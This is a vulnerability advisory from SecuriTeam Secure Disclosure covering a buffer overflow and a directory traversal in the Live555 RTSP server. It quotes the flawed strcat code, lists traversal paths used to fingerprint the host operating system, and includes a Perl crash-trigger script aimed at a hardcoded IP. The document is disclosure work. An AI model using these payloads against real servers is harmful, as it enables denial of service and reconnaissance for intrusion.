SSD Advisory – Live555 Exploitable Buffer Overflow and Directory Traversal

SecuriTeam Secure Disclosure
SecuriTeam Secure Disclosure (SSD) provides the support you need to turn your experience uncovering security vulnerabilities into a highly paid career. SSD was designed by researchers for researchers and will give you the fast response and great support you need to make top dollar for your discoveries.
Introduction
Live555 Media Server is “a complete RTSP server application”.
Vulnerability Details
Two security vulnerabilities have been found in Live555. The first allows overflowing an internal buffer used by the program and the execution of arbitrary code the latter allows through directory traversal to gain insight to the operating system the Live555 is installed upon – which in allows more accurate exploitation of the first vulnerability with less “chance” of failure.

Buffer Overflow
The vulnerable code can be found inside the RTSPServer.cpp file, a fixed sized buffer is set as:
char urlTotalSuffix[RTSP_PARAM_STRING_MAX];
The value of RTSP_PARAM_STRING_MAX is set to 200.
Though the code makes sure that overly long URI are not processed, by limiting their length inside the parseRTSPRequestString function, by checking that the overall length of the request does not exceed the resultURLSuffixMaxSize value, which is provided as the value of sizeof urlSuffix.
However, later, urlTotalSuffix which has a size of 200, is combined through this code:

          urlTotalSuffix[0] = '\0';
          if (urlPreSuffix[0] != '\0') {
            strcat(urlTotalSuffix, urlPreSuffix);
            strcat(urlTotalSuffix, "/");
          }
          strcat(urlTotalSuffix, urlSuffix);

With two buffers whose each, has a limit of 200 bytes, which in turn allows us to overflow this buffer over by 200 bytes and cause the code to execute arbitrary code.
This vulnerability, which is exploitable – a proof of concept for the Windows and Linux version have been sent to the vendor – can be triggered via the RTSP DESCRIBE directive and through the RTSP SETUP directive, as both share the same vulnerable code.
Directory Traversal
A directory traversal vulnerability is also present in the code, there is no attempt whatsoever to prevent the insertion of “../” into the URI being requested from the server, which allows us to access any file we want. The vulnerability is limited in what you can retrieve through it, this is due to the fact that the createNewSMS function allows only certain extensions to be processed.
This doesn’t mean that the vulnerability is 100% useless, on the contrary, it can provide valuable information on the target which is being attacked. The product in question can run on several operating systems, Windows, Linux, FreeBSD, MacOS – or any other platform you can get the code to compile under. Knowing the target Operating System – and in some cases even whether it is a 32bit / 64bit environment can be very beneficial. By using the directory traversal it is possible to access for “key” filenames that would be accessible/present on Windows and not on Linux.
For example, requesting access to:
../../../../../../../windows7/media/chimes.wav
Would be a strong indicator that we are running under Windows 7
Requesting access to:
../../../../../../usr/share/sounds/alsa/Noise.wav
Would be a strong indicator that we are running under a Linux based OS
../../../../../../usr/share/sounds/ubuntu/stereo/bell.ogg
Would be a strong indicator that we are running under an Ubuntu flavored OS
We would leave it for the reader to decide to more fine-tune this process in order to detect 32bit/64bit and FreeBSD, but its a pretty straight forward process.
Proof of Concept
Due to the nature of the vulnerability – being easily exploitable – we are not yet releasing an exploit that runs arbitrary code on a vulnerable server, the following perl script can be used to trigger the vulnerability without causing anything but a “crash”

#!/usr/bin/perl
#
use strict;
use IO::Socket::INET;
my $sock = IO::Socket::INET->new(PeerAddr => '192.168.1.103',
                                 PeerPort => 'rtsp(554)',
                                 Proto    => 'tcp');
my $request =
"SETUP rtsp://127.0.0.1:554/".("A" x 200)."/test.rm RTSP/1.0\r
CSeq: 3\r
User-Agent: LibVLC/2.2.1 (LIVE555 Streaming Media v2014.07.25)\r
Accept: application/sdp\r
\r
";
print $sock $request;
if (<$sock>) {
 print $_;
}
close($sock);

Vendor Response
The vendor has issued a patched version and this statement in the change log:

2015.07.23:
– Fixed a potential buffer overflow bug in “RTSPServer”.
(Thanks to “an anonymous researcher working with Beyond Security’s SecuriTeam Secure Disclosure”
for discovering this.)